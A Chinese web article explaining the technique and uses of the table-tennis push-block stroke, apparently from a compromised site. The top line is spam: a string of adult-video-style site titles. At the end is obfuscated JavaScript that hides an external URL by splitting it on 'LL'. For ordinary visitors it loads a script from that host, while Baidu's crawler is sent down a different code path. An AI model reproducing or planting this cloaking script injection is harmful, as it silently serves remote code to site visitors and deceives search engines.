久久精品亚洲人人做人人爽|欧美日韩在线观看视频|在线a免费播放a视频|亚洲免费AV在线

<source id="usrd9"><ins id="usrd9"></ins></source>

<form id="usrd9"><tr id="usrd9"></tr></form>
      1. 當(dāng)前位置:首頁 > 健康 > 運(yùn)動(dòng)健身 > 正文

        推擋球的動(dòng)作要領(lǐng)是什么?

        2017-04-16 11:14:10  來源:360常識網(wǎng)   熱度:
        導(dǎo)語:乒乓球可以說是我國的國球,雖然球小,但是卻征服了許多人的心,所以許多人都會在平時(shí)打一打乒乓球來健身,同時(shí)還可以促進(jìn)與打球?qū)κ值母星?

        乒乓球可以說是我國的國球,雖然球小,但是卻征服了許多人的心,所以許多人都會在平時(shí)打一打乒乓球來健身,同時(shí)還可以促進(jìn)與打球?qū)κ值母星榻涣?。但是打球的時(shí)候,每個(gè)人也是希望自己可以技高一籌的,這時(shí)候打球的一些技巧就需要掌握了。今天,小編為大家介紹的乒乓球中的推擋球的動(dòng)作要領(lǐng):

        所謂推球,指得是推擋技術(shù)。

        其技術(shù)要領(lǐng):在推擋時(shí),兩腳站位與肩同寬,后腳跟稍抬起,身體重心提高,有點(diǎn)居高臨下的感覺。觸球主要靠手和小臂向前發(fā)力,直握拍手的大母指要伸開,主要靠食指和虎口控制住拍型角度。中指和無名指要在拍后用力頂住拍子,配合發(fā)力。

        運(yùn)用技巧:推球主要用于不轉(zhuǎn)球和弱上旋球?yàn)橹?擋球主要用于強(qiáng)上旋球,就是借力把球封過去。在運(yùn)用上還有大力推擋,象蔣鵬龍那樣,推出的球特別有力量。另外還能推下旋球,這就改變了對不出臺的下旋球只能靠搓接的老辦法,這樣推過來的球又平又快,還有點(diǎn)下旋,會給對方造成麻煩。推下旋要在掌握推上旋的基礎(chǔ)上,再去練這種技術(shù)。拍面要后傾,并把拍子插到球底部,向前推的時(shí)候,大母指松開,變拍子后傾為前傾,有點(diǎn)翻拍猛力前送的感覺。

        反手推擋是一項(xiàng)重要的基本功,也是封弧圈球的重要技術(shù)。

        喜歡乒乓球的朋友,如果對于乒乓球中的推擋球技術(shù)還沒有很好的掌握,那么,就可以仔細(xì)的閱讀小編的分享,然后自己再勤加練習(xí),就可以讓自己的球技大大提高的,這樣就可以讓自己在球場上肆意揮灑,贏得陣陣叫好聲的。

        轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
        ?
        if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}